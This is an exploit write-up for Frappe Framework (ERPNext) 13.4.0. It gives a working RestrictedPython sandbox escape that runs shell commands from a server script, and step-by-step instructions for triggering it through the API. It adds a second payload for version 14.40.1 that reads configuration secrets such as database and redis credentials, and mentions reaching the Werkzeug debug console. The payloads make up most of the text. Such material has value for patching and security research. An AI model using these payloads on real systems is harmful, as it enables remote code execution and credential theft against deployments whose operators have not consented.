Frappe Framework 13.4.0 Remote Code Execution

# Exploit Title: Frappe Framework (ERPNext) 13.4.0 - Remote Code Execution (Authenticated)# Exploit Author: Sander Ferdinand# Date: 2023-06-07# Version: 13.4.0# Vendor Homepage: http://erpnext.org# Software Link: https://github.com/frappe/frappe/# Tested on: Ubuntu 22.04# CVE : noneSilly sandbox escape.> Frappe Framework uses the RestrictedPython library to restrict access to methods available for server scripts.Requirements:- 'System Manager' role (which is not necessarily the admin)- Server config `server_script_enabled` set to `true` (likely)Create a new script over at `/app/server-script`, set type to API, method to 'lol' and visit `/api/method/lol` to execute payload.```python3hax = "echo pwned > /tmp/pwned"g=({k:v('os').popen(hax).read() for k,v in g.gi_frame.f_back.f_back.f_back.f_back.f_builtins.items() if 'import' in k}for x in(0,))for x in g:0```Context: - https://ur4ndom.dev/posts/2023-07-02-uiuctf-rattler-read/- https://gist.github.com/lebr0nli/c2fc617390451f0e5a4c31c87d8720b6- https://frappeframework.com/docs/v13/user/en/desk/scripting/server-script- https://github.com/frappe/frappe/blob/v13.4.0/frappe/utils/safe_exec.py#L42Bonus:More recent versions (14.40.1 as of writing) block `gi_frame` but there is still a read primitive to escape the sandbox via `format_map`:```python3hax = """{g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_globals[frappe].local.conf}""".strip()g=(frappe.msgprint(hax.format_map({'g': g}))for x in(0,))for x in g:0```Which prints the Frappe config like database/redis credentials, etc.In the unlikely case that Werkzeug is running with `use_evalex`, you may use the above method to retreive the werkzeug secret PIN, then browse to `/console` (or raise an exception) for RCE.